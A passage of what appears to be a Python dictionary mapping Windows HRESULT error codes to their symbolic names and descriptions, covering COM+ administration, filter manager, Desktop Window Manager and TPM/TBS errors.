(\"COMADMIN_E_PROPERTY_OVERFLOW\", \"The property value is too large.\"),\n        0x8011043E: (\"COMADMIN_E_NOTINREGISTRY\", \"Object was not found in registry.\"),\n        0x8011043F: (\"COMADMIN_E_OBJECTNOTPOOLABLE\", \"This object cannot be pooled.\"),\n        0x80110446: (\"COMADMIN_E_APPLID_MATCHES_CLSID\", \"A CLSID with the same GUID as the new application ID is already installed on this machine.\"),\n        0x80110447: (\"COMADMIN_E_ROLE_DOES_NOT_EXIST\", \"A role assigned to a component, interface, or method did not exist in the application.\"),\n        0x80110448: (\"COMADMIN_E_START_APP_NEEDS_COMPONENTS\", \"You must have components in an application to start the application.\"),\n        0x80110449: (\"COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM\", \"This operation is not enabled on this platform.\"),\n        0x8011044A: (\"COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY\", \"Application proxy is not exportable.\"),\n        0x8011044B: (\"COMADMIN_E_CAN_NOT_START_APP\", \"Failed to start application because it is either a library application or an application proxy.\"),\n        0x8011044C: (\"COMADMIN_E_CAN_NOT_EXPORT_SYS_APP\", \"System application is not exportable.\"),\n        0x8011044D: (\"COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT\", \"Cannot subscribe to this component (the component may have been imported).\"),\n        0x8011044E: (\"COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER\", \"An event class cannot also be a subscriber component.\"),\n        0x8011044F: (\"COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE\", \"Library applications and application proxies are incompatible.\"),\n        0x80110450: (\"COMADMIN_E_BASE_PARTITION_ONLY\", \"This function is valid for the base partition only.\"),\n        0x80110451: (\"COMADMIN_E_START_APP_DISABLED\", \"You cannot start an application that has been disabled.\"),\n        0x80110457: (\"COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME\", \"The specified partition name is already in use on this computer.\"),\n        0x80110458: (\"COMADMIN_E_CAT_INVALID_PARTITION_NAME\", \"The specified partition name is invalid. Check that the name contains at least one visible character.\"),\n        0x80110459: (\"COMADMIN_E_CAT_PARTITION_IN_USE\", \"The partition cannot be deleted because it is the default partition for one or more users.\"),\n        0x8011045A: (\"COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES\", \"The partition cannot be exported because one or more components in the partition have the same file name.\"),\n        0x8011045B: (\"COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED\", \"Applications that contain one or more imported components cannot be installed into a nonbase partition.\"),\n        0x8011045C: (\"COMADMIN_E_AMBIGUOUS_APPLICATION_NAME\", \"The application name is not unique and cannot be resolved to an application ID.\"),\n        0x8011045D: (\"COMADMIN_E_AMBIGUOUS_PARTITION_NAME\", \"The partition name is not unique and cannot be resolved to a partition ID.\"),\n        0x80110472: (\"COMADMIN_E_REGDB_NOTINITIALIZED\", \"The COM+ registry database has not been initialized.\"),\n        0x80110473: (\"COMADMIN_E_REGDB_NOTOPEN\", \"The COM+ registry database is not open.\"),\n        0x80110474: (\"COMADMIN_E_REGDB_SYSTEMERR\", \"The COM+ registry database detected a system error.\"),\n        0x80110475: (\"COMADMIN_E_REGDB_ALREADYRUNNING\", \"The COM+ registry database is already running.\"),\n        0x80110480: (\"COMADMIN_E_MIG_VERSIONNOTSUPPORTED\", \"This version of the COM+ registry database cannot be migrated.\"),\n        0x80110481: (\"COMADMIN_E_MIG_SCHEMANOTFOUND\", \"The schema version to be migrated could not be found in the COM+ registry database.\"),\n        0x80110482: (\"COMADMIN_E_CAT_BITNESSMISMATCH\", \"There was a type mismatch between binaries.\"),\n        0x80110483: (\"COMADMIN_E_CAT_UNACCEPTABLEBITNESS\", \"A binary of unknown or invalid type was provided.\"),\n        0x80110484: (\"COMADMIN_E_CAT_WRONGAPPBITNESS\", \"There was a type mismatch between a binary and an application.\"),\n        0x80110485: (\"COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED\", \"The application cannot be paused or resumed.\"),\n        0x80110486: (\"COMADMIN_E_CAT_SERVERFAULT\", \"The COM+ catalog server threw an exception during execution.\"),\n        0x80110600: (\"COMQC_E_APPLICATION_NOT_QUEUED\", \"Only COM+ applications marked \\\"queued\\\" can be invoked using the \\\"queue\\\" moniker.\"),\n        0x80110601: (\"COMQC_E_NO_QUEUEABLE_INTERFACES\", \"At least one interface must be marked \\\"queued\\\" to create a queued component instance with the \\\"queue\\\" moniker.\"),\n        0x80110602: (\"COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE\", \"Message Queuing is required for the requested operation and is not installed.\"),\n        0x80110603: (\"COMQC_E_NO_IPERSISTSTREAM\", \"Unable to marshal an interface that does not support IPersistStream.\"),\n        0x80110604: (\"COMQC_E_BAD_MESSAGE\", \"The message is improperly formatted or was damaged in transit.\"),\n        0x80110605: (\"COMQC_E_UNAUTHENTICATED\", \"An unauthenticated message was received by an application that accepts only authenticated messages.\"),\n        0x80110606: (\"COMQC_E_UNTRUSTED_ENQUEUER\", \"The message was requeued or moved by a user not in the QC Trusted User \\\"role\\\".\"),\n        0x80110701: (\"MSDTC_E_DUPLICATE_RESOURCE\", \"Cannot create a duplicate resource of type Distributed Transaction Coordinator.\"),\n        0x80110808: (\"COMADMIN_E_OBJECT_PARENT_MISSING\", \"One of the objects being inserted or updated does not belong to a valid parent collection.\"),\n        0x80110809: (\"COMADMIN_E_OBJECT_DOES_NOT_EXIST\", \"One of the specified objects cannot be found.\"),\n        0x8011080A: (\"COMADMIN_E_APP_NOT_RUNNING\", \"The specified application is not currently running.\"),\n        0x8011080B: (\"COMADMIN_E_INVALID_PARTITION\", \"The partitions specified are not valid.\"),\n        0x8011080D: (\"COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE\", \"COM+ applications that run as Windows NT service may not be pooled or recycled.\"),\n        0x8011080E: (\"COMADMIN_E_USER_IN_SET\", \"One or more users are already assigned to a local partition set.\"),\n        0x8011080F: (\"COMADMIN_E_CANTRECYCLELIBRARYAPPS\", \"Library applications may not be recycled.\"),\n        0x80110811: (\"COMADMIN_E_CANTRECYCLESERVICEAPPS\", \"Applications running as Windows NT services may not be recycled.\"),\n        0x80110812: (\"COMADMIN_E_PROCESSALREADYRECYCLED\", \"The process has already been recycled.\"),\n        0x80110813: (\"COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED\", \"A paused process may not be recycled.\"),\n        0x80110814: (\"COMADMIN_E_CANTMAKEINPROCSERVICE\", \"Library applications may not be Windows NT services.\"),\n        0x80110815: (\"COMADMIN_E_PROGIDINUSEBYCLSID\", \"The ProgID provided to the copy operation is invalid. The ProgID is in use by another registered CLSID.\"),\n        0x80110816: (\"COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET\", \"The partition specified as the default is not a member of the partition set.\"),\n        0x80110817: (\"COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED\", \"A recycled process may not be paused.\"),\n        0x80110818: (\"COMADMIN_E_PARTITION_ACCESSDENIED\", \"Access to the specified partition is denied.\"),\n        0x80110819: (\"COMADMIN_E_PARTITION_MSI_ONLY\", \"Only application files (*.msi files) can be installed into partitions.\"),\n        0x8011081A: (\"COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT\", \"Applications containing one or more legacy components may not be exported to 1.0 format.\"),\n        0x8011081B: (\"COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS\", \"Legacy components may not exist in nonbase partitions.\"),\n        0x8011081C: (\"COMADMIN_E_COMP_MOVE_SOURCE\", \"A component cannot be moved (or copied) from the System Application, an application proxy, or a nonchangeable application.\"),\n        0x8011081D: (\"COMADMIN_E_COMP_MOVE_DEST\", \"A component cannot be moved (or copied) to the System Application, an application proxy or a nonchangeable application.\"),\n        0x8011081E: (\"COMADMIN_E_COMP_MOVE_PRIVATE\", \"A private component cannot be moved (or copied) to a library application or to the base partition.\"),\n        0x8011081F: (\"COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET\", \"The Base Application Partition exists in all partition sets and cannot be removed.\"),\n        0x80110820: (\"COMADMIN_E_CANNOT_ALIAS_EVENTCLASS\", \"Alas, Event Class components cannot be aliased.\"),\n        0x80110821: (\"COMADMIN_E_PRIVATE_ACCESSDENIED\", \"Access is denied because the component is private.\"),\n        0x80110822: (\"COMADMIN_E_SAFERINVALID\", \"The specified SAFER level is invalid.\"),\n        0x80110823: (\"COMADMIN_E_REGISTRY_ACCESSDENIED\", \"The specified user cannot write to the system registry.\"),\n        0x80110824: (\"COMADMIN_E_PARTITIONS_DISABLED\", \"COM+ partitions are currently disabled.\"),\n        0x801F0001: (\"ERROR_FLT_NO_HANDLER_DEFINED\", \"A handler was not defined by the filter for this operation.\"),\n        0x801F0002: (\"ERROR_FLT_CONTEXT_ALREADY_DEFINED\", \"A context is already defined for this object.\"),\n        0x801F0003: (\"ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST\", \"Asynchronous requests are not valid for this operation.\"),\n        0x801F0004: (\"ERROR_FLT_DISALLOW_FAST_IO\", \"Disallow the Fast IO path for this operation.\"),\n        0x801F0005: (\"ERROR_FLT_INVALID_NAME_REQUEST\", \"An invalid name request was made. The name requested cannot be retrieved at this time.\"),\n        0x801F0006: (\"ERROR_FLT_NOT_SAFE_TO_POST_OPERATION\", \"Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock.\"),\n        0x801F0007: (\"ERROR_FLT_NOT_INITIALIZED\", \"The Filter Manager was not initialized when a filter tried to register. Be sure that the Filter Manager is being loaded as a driver.\"),\n        0x801F0008: (\"ERROR_FLT_FILTER_NOT_READY\", \"The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called).\"),\n        0x801F0009: (\"ERROR_FLT_POST_OPERATION_CLEANUP\", \"The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers.\"),\n        0x801F000A: (\"ERROR_FLT_INTERNAL_ERROR\", \"The Filter Manager had an internal error from which it cannot recover; therefore, the operation has been failed. This is usually the result of a filter returning an invalid value from a preoperation callback.\"),\n        0x801F000B: (\"ERROR_FLT_DELETING_OBJECT\", \"The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time.\"),\n        0x801F000C: (\"ERROR_FLT_MUST_BE_NONPAGED_POOL\", \"Nonpaged pool must be used for this type of context.\"),\n        0x801F000D: (\"ERROR_FLT_DUPLICATE_ENTRY\", \"A duplicate handler definition has been provided for an operation.\"),\n        0x801F000E: (\"ERROR_FLT_CBDQ_DISABLED\", \"The callback data queue has been disabled.\"),\n        0x801F000F: (\"ERROR_FLT_DO_NOT_ATTACH\", \"Do not attach the filter to the volume at this time.\"),\n        0x801F0010: (\"ERROR_FLT_DO_NOT_DETACH\", \"Do not detach the filter from the volume at this time.\"),\n        0x801F0011: (\"ERROR_FLT_INSTANCE_ALTITUDE_COLLISION\", \"An instance already exists at this altitude on the volume specified.\"),\n        0x801F0012: (\"ERROR_FLT_INSTANCE_NAME_COLLISION\", \"An instance already exists with this name on the volume specified.\"),\n        0x801F0013: (\"ERROR_FLT_FILTER_NOT_FOUND\", \"The system could not find the filter specified.\"),\n        0x801F0014: (\"ERROR_FLT_VOLUME_NOT_FOUND\", \"The system could not find the volume specified.\"),\n        0x801F0015: (\"ERROR_FLT_INSTANCE_NOT_FOUND\", \"The system could not find the instance specified.\"),\n        0x801F0016: (\"ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND\", \"No registered context allocation definition was found for the given request.\"),\n        0x801F0017: (\"ERROR_FLT_INVALID_CONTEXT_REGISTRATION\", \"An invalid parameter was specified during context registration.\"),\n        0x801F0018: (\"ERROR_FLT_NAME_CACHE_MISS\", \"The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system.\"),\n        0x801F0019: (\"ERROR_FLT_NO_DEVICE_OBJECT\", \"The requested device object does not exist for the given volume.\"),\n        0x801F001A: (\"ERROR_FLT_VOLUME_ALREADY_MOUNTED\", \"The specified volume is already mounted.\"),\n        0x801F001B: (\"ERROR_FLT_ALREADY_ENLISTED\", \"The specified Transaction Context is already enlisted in a transaction.\"),\n        0x801F001C: (\"ERROR_FLT_CONTEXT_ALREADY_LINKED\", \"The specified context is already attached to another object.\"),\n        0x801F0020: (\"ERROR_FLT_NO_WAITER_FOR_REPLY\", \"No waiter is present for the filter's reply to this message.\"),\n        0x80260001: (\"ERROR_HUNG_DISPLAY_DRIVER_THREAD\", \"{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft.\"),\n        0x80261001: (\"ERROR_MONITOR_NO_DESCRIPTOR\", \"Monitor descriptor could not be obtained.\"),\n        0x80261002: (\"ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT\", \"Format of the obtained monitor descriptor is not supported by this release.\"),\n        0x80263001: (\"DWM_E_COMPOSITIONDISABLED\", \"{Desktop Composition is Disabled} The operation could not be completed because desktop composition is disabled.\"),\n        0x80263002: (\"DWM_E_REMOTING_NOT_SUPPORTED\", \"{Some Desktop Composition APIs Are Not Supported While Remoting} Some desktop composition APIs are not supported while remoting. The operation is not supported while running in a remote session.\"),\n        0x80263003: (\"DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE\", \"{No DWM Redirection Surface is Available} The Desktop Window Manager (DWM) was unable to provide a redirection surface to complete the DirectX present.\"),\n        0x80263004: (\"DWM_E_NOT_QUEUING_PRESENTS\", \"{DWM Is Not Queuing Presents for the Specified Window} The window specified is not currently using queued presents.\"),\n        0x80280000: (\"TPM_E_ERROR_MASK\", \"This is an error mask to convert Trusted Platform Module (TPM) hardware errors to Win32 errors.\"),\n        0x80280001: (\"TPM_E_AUTHFAIL\", \"Authentication failed.\"),\n        0x80280002: (\"TPM_E_BADINDEX\", \"The index to a Platform Configuration Register (PCR), DIR, or other register is incorrect.\"),\n        0x80280003: (\"TPM_E_BAD_PARAMETER\", \"One or more parameters are bad.\"),\n        0x80280004: (\"TPM_E_AUDITFAILURE\", \"An operation completed successfully but the auditing of that operation failed.\"),\n        0x80280005: (\"TPM_E_CLEAR_DISABLED\", \"The clear disable flag is set and all clear operations now require physical access.\"),\n        0x80280006: (\"TPM_E_DEACTIVATED\", \"The TPM is deactivated.\"),\n        0x80280007: (\"TPM_E_DISABLED\", \"The TPM is disabled.\"),\n        0x80280008: (\"TPM_E_DISABLED_CMD\", \"The target command has been disabled.\"),\n        0x80280009: (\"TPM_E_FAIL\", \"The operation failed.\"),\n        0x8028000A: (\"TPM_E_BAD_ORDINAL\", \"The ordinal was unknown or inconsistent.\"),\n        0x8028000B: (\"TPM_E_INSTALL_DISABLED\", \"The ability to install an owner is disabled.\"),\n        0x8028000C: (\"TPM_E_INVALID_KEYHANDLE\", \"The key handle cannot be interpreted.\"),\n        0x8028000D: (\"TPM_E_KEYNOTFOUND\", \"The key handle points to an invalid key.\"),\n        0x8028000E: (\"TPM_E_INAPPROPRIATE_ENC\", \"Unacceptable encryption scheme.\"),\n        0x8028000F: (\"TPM_E_MIGRATEFAIL\", \"Migration authorization failed.\"),\n        0x80280010: (\"TPM_E_INVALID_PCR_INFO\", \"PCR information could not be interpreted.\"),\n        0x80280011: (\"TPM_E_NOSPACE\", \"No room to load key.\"),\n        0x80280012: (\"TPM_E_NOSRK\", \"There is no storage root key (SRK) set.\"),\n        0x80280013: (\"TPM_E_NOTSEALED_BLOB\", \"An encrypted blob is invalid or was not created by this TPM.\"),\n        0x80280014: (\"TPM_E_OWNER_SET\", \"There is already an owner.\"),\n        0x80280015: (\"TPM_E_RESOURCES\", \"The TPM has insufficient internal resources to perform the requested action.\"),\n        0x80280016: (\"TPM_E_SHORTRANDOM\", \"A random string was too short.\"),\n        0x80280017: (\"TPM_E_SIZE\", \"The TPM does not have the space to perform the operation.\"),\n        0x80280018: (\"TPM_E_WRONGPCRVAL\", \"The named PCR value does not match the current PCR value.\"),\n        0x80280019: (\"TPM_E_BAD_PARAM_SIZE\", \"The paramSize argument to the command has the incorrect value.\"),\n        0x8028001A: (\"TPM_E_SHA_THREAD\", \"There is no existing SHA-1 thread.\"),\n        0x8028001B: (\"TPM_E_SHA_ERROR\", \"The calculation is unable to proceed because the existing SHA-1 thread has already encountered an error.\"),\n        0x8028001C: (\"TPM_E_FAILEDSELFTEST\", \"Self-test has failed and the TPM has shut down.\"),\n        0x8028001D: (\"TPM_E_AUTH2FAIL\", \"The authorization for the second key in a two-key function failed authorization.\"),\n        0x8028001E: (\"TPM_E_BADTAG\", \"The tag value sent to for a command is invalid.\"),\n        0x8028001F: (\"TPM_E_IOERROR\", \"An I/O error occurred transmitting information to the TPM.\"),\n        0x80280020: (\"TPM_E_ENCRYPT_ERROR\", \"The encryption process had a problem.\"),\n        0x80280021: (\"TPM_E_DECRYPT_ERROR\", \"The decryption process did not complete.\"),\n        0x80280022: (\"TPM_E_INVALID_AUTHHANDLE\", \"An invalid handle was used.\"),\n        0x80280023: (\"TPM_E_NO_ENDORSEMENT\", \"The TPM does not have an endorsement key (EK) installed.\"),\n        0x80280024: (\"TPM_E_INVALID_KEYUSAGE\", \"The usage of a key is not allowed.\"),\n        0x80280025: (\"TPM_E_WRONG_ENTITYTYPE\", \"The submitted entity type is not allowed.\"),\n        0x80280026: (\"TPM_E_INVALID_POSTINIT\", \"The command was received in the wrong sequence relative to TPM_Init and a subsequent TPM_Startup.\"),\n        0x80280027: (\"TPM_E_INAPPROPRIATE_SIG\", \"Signed data cannot include additional DER information.\"),\n        0x80280028: (\"TPM_E_BAD_KEY_PROPERTY\", \"The key properties in TPM_KEY_PARMs are not supported by this TPM.\"),\n        0x80280029: (\"TPM_E_BAD_MIGRATION\", \"The migration properties of this key are incorrect.\"),\n        0x8028002A: (\"TPM_E_BAD_SCHEME\", \"The signature or encryption scheme for this key is incorrect or not permitted in this situation.\"),\n        0x8028002B: (\"TPM_E_BAD_DATASIZE\", \"The size of the data (or blob) parameter is bad or inconsistent with the referenced key.\"),\n        0x8028002C: (\"TPM_E_BAD_MODE\", \"A mode parameter is bad, such as capArea or subCapArea for TPM_GetCapability, physicalPresence parameter for TPM_PhysicalPresence, or migrationType for TPM_CreateMigrationBlob.\"),\n        0x8028002D: (\"TPM_E_BAD_PRESENCE\", \"Either the physicalPresence or physicalPresenceLock bits have the wrong value.\"),\n        0x8028002E: (\"TPM_E_BAD_VERSION\", \"The TPM cannot perform this version of the capability.\"),\n        0x8028002F: (\"TPM_E_NO_WRAP_TRANSPORT\", \"The TPM does not allow for wrapped transport sessions.\"),\n        0x80280030: (\"TPM_E_AUDITFAIL_UNSUCCESSFUL\", \"TPM audit construction failed and the underlying command was returning a failure code also.\"),\n        0x80280031: (\"TPM_E_AUDITFAIL_SUCCESSFUL\", \"TPM audit construction failed and the underlying command was returning success.\"),\n        0x80280032: (\"TPM_E_NOTRESETABLE\", \"Attempt to reset a PCR that does not have the resettable attribute.\"),\n        0x80280033: (\"TPM_E_NOTLOCAL\", \"Attempt to reset a PCR register that requires locality and the locality modifier not part of command transport.\"),\n        0x80280034: (\"TPM_E_BAD_TYPE\", \"Make identity blob not properly typed.\"),\n        0x80280035: (\"TPM_E_INVALID_RESOURCE\", \"When saving context identified resource type does not match actual resource.\"),\n        0x80280036: (\"TPM_E_NOTFIPS\", \"The TPM is attempting to execute a command only available when in Federal Information Processing Standards (FIPS) mode.\"),\n        0x80280037: (\"TPM_E_INVALID_FAMILY\", \"The command is attempting to use an invalid family ID.\"),\n        0x80280038: (\"TPM_E_NO_NV_PERMISSION\", \"The permission to manipulate the NV storage is not available.\"),\n        0x80280039: (\"TPM_E_REQUIRES_SIGN\", \"The operation requires a signed command.\"),\n        0x8028003A: (\"TPM_E_KEY_NOTSUPPORTED\", \"Wrong operation to load an NV key.\"),\n        0x8028003B: (\"TPM_E_AUTH_CONFLICT\", \"NV_LoadKey blob requires both owner and blob authorization.\"),\n        0x8028003C: (\"TPM_E_AREA_LOCKED\", \"The NV area is locked and not writable.\"),\n        0x8028003D: (\"TPM_E_BAD_LOCALITY\", \"The locality is incorrect for the attempted operation.\"),\n        0x8028003E: (\"TPM_E_READ_ONLY\", \"The NV area is read-only and cannot be written to.\"),\n        0x8028003F: (\"TPM_E_PER_NOWRITE\", \"There is no protection on the write to the NV area.\"),\n        0x80280040: (\"TPM_E_FAMILYCOUNT\", \"The family count value does not match.\"),\n        0x80280041: (\"TPM_E_WRITE_LOCKED\", \"The NV area has already been written to.\"),\n        0x80280042: (\"TPM_E_BAD_ATTRIBUTES\", \"The NV area attributes conflict.\"),\n        0x80280043: (\"TPM_E_INVALID_STRUCTURE\", \"The structure tag and version are invalid or inconsistent.\"),\n        0x80280044: (\"TPM_E_KEY_OWNER_CONTROL\", \"The key is under control of the TPM owner and can only be evicted by the TPM owner.\"),\n        0x80280045: (\"TPM_E_BAD_COUNTER\", \"The counter handle is incorrect.\"),\n        0x80280046: (\"TPM_E_NOT_FULLWRITE\", \"The write is not a complete write of the area.\"),\n        0x80280047: (\"TPM_E_CONTEXT_GAP\", \"The gap between saved context counts is too large.\"),\n        0x80280048: (\"TPM_E_MAXNVWRITES\", \"The maximum number of NV writes without an owner has been exceeded.\"),\n        0x80280049: (\"TPM_E_NOOPERATOR\", \"No operator AuthData value is set.\"),\n        0x8028004A: (\"TPM_E_RESOURCEMISSING\", \"The resource pointed to by context is not loaded.\"),\n        0x8028004B: (\"TPM_E_DELEGATE_LOCK\", \"The delegate administration is locked.\"),\n        0x8028004C: (\"TPM_E_DELEGATE_FAMILY\", \"Attempt to manage a family other then the delegated family.\"),\n        0x8028004D: (\"TPM_E_DELEGATE_ADMIN\", \"Delegation table management not enabled.\"),\n        0x8028004E: (\"TPM_E_TRANSPORT_NOTEXCLUSIVE\", \"There was a command executed outside an exclusive transport session.\"),\n        0x8028004F: (\"TPM_E_OWNER_CONTROL\", \"Attempt to context save an owner evict controlled key.\"),\n        0x80280050: (\"TPM_E_DAA_RESOURCES\", \"The DAA command has no resources available to execute the command.\"),\n        0x80280051: (\"TPM_E_DAA_INPUT_DATA0\", \"The consistency check on DAA parameter inputData0 has failed.\"),\n        0x80280052: (\"TPM_E_DAA_INPUT_DATA1\", \"The consistency check on DAA parameter inputData1 has failed.\"),\n        0x80280053: (\"TPM_E_DAA_ISSUER_SETTINGS\", \"The consistency check on DAA_issuerSettings has failed.\"),\n        0x80280054: (\"TPM_E_DAA_TPM_SETTINGS\", \"The consistency check on DAA_tpmSpecific has failed.\"),\n        0x80280055: (\"TPM_E_DAA_STAGE\", \"The atomic process indicated by the submitted DAA command is not the expected process.\"),\n        0x80280056: (\"TPM_E_DAA_ISSUER_VALIDITY\", \"The issuer's validity check has detected an inconsistency.\"),\n        0x80280057: (\"TPM_E_DAA_WRONG_W\", \"The consistency check on w has failed.\"),\n        0x80280058: (\"TPM_E_BAD_HANDLE\", \"The handle is incorrect.\"),\n        0x80280059: (\"TPM_E_BAD_DELEGATE\", \"Delegation is not correct.\"),\n        0x8028005A: (\"TPM_E_BADCONTEXT\", \"The context blob is invalid.\"),\n        0x8028005B: (\"TPM_E_TOOMANYCONTEXTS\", \"Too many contexts held by the TPM.\"),\n        0x8028005C: (\"TPM_E_MA_TICKET_SIGNATURE\", \"Migration authority signature validation failure.\"),\n        0x8028005D: (\"TPM_E_MA_DESTINATION\", \"Migration destination not authenticated.\"),\n        0x8028005E: (\"TPM_E_MA_SOURCE\", \"Migration source incorrect.\"),\n        0x8028005F: (\"TPM_E_MA_AUTHORITY\", \"Incorrect migration authority.\"),\n        0x80280061: (\"TPM_E_PERMANENTEK\", \"Attempt to revoke the EK and the EK is not revocable.\"),\n        0x80280062: (\"TPM_E_BAD_SIGNATURE\", \"Bad signature of CMK ticket.\"),\n        0x80280063: (\"TPM_E_NOCONTEXTSPACE\", \"There is no room in the context list for additional contexts.\"),\n        0x80280400: (\"TPM_E_COMMAND_BLOCKED\", \"The command was blocked.\"),\n        0x80280401: (\"TPM_E_INVALID_HANDLE\", \"The specified handle was not found.\"),\n        0x80280402: (\"TPM_E_DUPLICATE_VHANDLE\", \"The TPM returned a duplicate handle and the command needs to be resubmitted.\"),\n        0x80280403: (\"TPM_E_EMBEDDED_COMMAND_BLOCKED\", \"The command within the transport was blocked.\"),\n        0x80280404: (\"TPM_E_EMBEDDED_COMMAND_UNSUPPORTED\", \"The command within the transport is not supported.\"),\n        0x80280800: (\"TPM_E_RETRY\", \"The TPM is too busy to respond to the command immediately, but the command could be resubmitted at a later time.\"),\n        0x80280801: (\"TPM_E_NEEDS_SELFTEST\", \"SelfTestFull has not been run.\"),\n        0x80280802: (\"TPM_E_DOING_SELFTEST\", \"The TPM is currently executing a full self-test.\"),\n        0x80280803: (\"TPM_E_DEFEND_LOCK_RUNNING\", \"The TPM is defending against dictionary attacks and is in a time-out period.\"),\n        0x80284001: (\"TBS_E_INTERNAL_ERROR\", \"An internal software error has been detected.\"),\n        0x80284002: (\"TBS_E_BAD_PARAMETER\", \"One or more input parameters are bad.\"),\n        0x80284003: (\"TBS_E_INVALID_OUTPUT_POINTER\", \"A specified output pointer is bad.\"),\n        0x80284004: (\"TBS_E_INVALID_CONTEXT\", \"The specified context handle does not refer to a valid context.\"),\n        0x80284005: (\"TBS_E_INSUFFICIENT_BUFFER\", \"A specified output buffer is too small.\"),\n        0x80284006: (\"TBS_E_IOERROR\", \"An error occurred while communicating with the TPM.\"),\n        0x80284007: (\"TBS_E_INVALID_CONTEXT_PARAM\", \"One or more context parameters are invalid.\"),\n        0x80284008: (\"TBS_E_SERVICE_NOT_RUNNING\", \"The TPM Base Services (TBS) is not running and could not be started.\"),\n        0x80284009: (\"TBS_E_TOO_MANY_TBS_CONTEXTS\", \"A new context could not be created because there are too many open contexts.\"),\n        0x8028400A: (\"TBS_E_TOO_MANY_RESOURCES\", \"A new virtual resource could not be created because there are too many open virtual resources.\"),\n        0x8028400B: (\"TBS_E_SERVICE_START_PENDING\", \"The TBS service has been started but is not yet running.\"),\n        0x8028400C: (\"TBS_E_PPI_NOT_SUPPORTED\", \"The physical presence interface is not supported.\"),\n        0x8028400D: (\"TBS_E_COMMAND_CANCELED\", \"The command was canceled.\"),\n        0x8028400E: (\"TBS_E_BUFFER_TOO_LARGE\", \"The input or output buffer is too large.\"),\n        0x80290100: (\"TPMAPI_E_INVALID_STATE\", \"The command buffer is not in the correct state.\"),\n        0x80290101: (\"TPMAPI_E_NOT_ENOUGH_DATA\", \"The command buffer does not contain enough data to satisfy the request.\"),\n        0x80290102: (\"TPMAPI_E_TOO_MUCH_DATA\", \"The command buffer cannot contain any more data.\"),\n        0x80290103: (\"TPMAPI_E_INVALID_OUTPUT_POINTER\", \"One or more output parameters was null or invalid.\"),\n        0x80290104: (\"TPMAPI_E_INVALID_PARAMETER\", \"One or more input parameters are invalid.\"),\n        0x80290105: (\"TPMAPI_E_OUT_OF_MEMORY\", \"Not enough memory was available to satisfy the request.\"),\n        0x80290106: (\"TPMAPI_E_BUFFER_TOO_SMALL\", \"The specified buffer was too small.\"),\n        0x80290107: (\"TPMAPI_E_INTERNAL_ERROR\", \"An internal error was detected.\"),\n        0x80290108: (\"TPMAPI_E_ACCESS_DENIED\", \"The caller does not have the appropriate rights to perform the requested operation.\"),\n        0x80290109: (\"TPMAPI_E_AUTHORIZATION_FAILED\", \"The specified authorization information was invalid.\"),\n        0x8029010A: (\"TPMAPI_E_INVALID_CONTEXT_HANDLE\", \"The specified context handle was not valid.\"),\n        0x8029010B: (\"TPMAPI_E_TBS_COMMUNICATION_ERROR\", \"An error occurred while communicating with the TBS.\"),\n        0x8029010C: (\"TPMAPI_E_TPM_COMMAND_ERROR\", \"The TPM returned an unexpected result.\"),\n        0x8029010D: (\"TPMAPI_E_MESSAGE_TOO_LARGE\", \"The message was too large for the encoding scheme.\"),\n        0x8029010E: (\"TPMAPI_E_INVALID_ENCODING\", \"The encoding in the binary large object (BLOB) was not recognized.\"),\n        0x8029010F: (\"TPMAPI_E_INVALID_KEY_SIZE\", \"The key size is not valid.\"),\n        0x80290110: (\"TPMAPI_E_ENCRYPTION_FAILED\", \"The encryption operation failed.\"),\n        0x80290111: (\"TPMAPI_E_INVALID_KEY_PARAMS\", \"The key parameters structure was not valid.\"),\n        0x80290112: (\"TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB\", \"The requested supplied data does not appear to be a valid migration authorization BLOB.\"),\n        0x80290113: (\"TPMAPI_E_INVALID_PCR_INDEX\", \"The specified PCR index was invalid.\"),\n        0x80290114: (\"TPMAPI_E_INVALID_DELEGATE_BLOB\", \"The data given does not appear to be a valid delegate BLOB.\"),\n        0x80290115: (\"TPMAPI_E_INVALID_CONTEXT_PARAMS\", \"One or more of the specified context parameters was not valid.\"),\n        0x80290116: (\"TPMAPI_E_INVALID_KEY_BLOB\", \"The data given does not appear to be a valid key BLOB.\"),\n        0x80290117: (\"TPMAPI_E_INVALID_PCR_DATA\", \"The specified PCR data was invalid.\"),\n        0x80290118: (\"TPMAPI_E_INVALID_OWNER_AUTH\", \"The format of the owner authorization data was invalid.\"),\n        0x80290200: (\"TBSIMP_E_BUFFER_TOO_SMALL\", \"The specified buffer was too small.\"),\n        0x80290201: (\"TBSIMP_E_CLEANUP_FAILED\", \"The context could not be cleaned up.\"),\n        0x80290202: (\"TBSIMP_E_INVALID_CONTEXT_HANDLE\", \"The specified context handle is invalid.\"),\n        0x80290203: (\"TBSIMP_E_INVALID_CONTEXT_PARAM\", \"An invalid context parameter was specified.\"),\n        0x80290204: (\"TBSIMP_E_TPM_ERROR\", \"An error occurred while communicating with the TPM.\"),\n        0x80290205: (\"TBSIMP_E_HASH_BAD_KEY\", \"No entry with 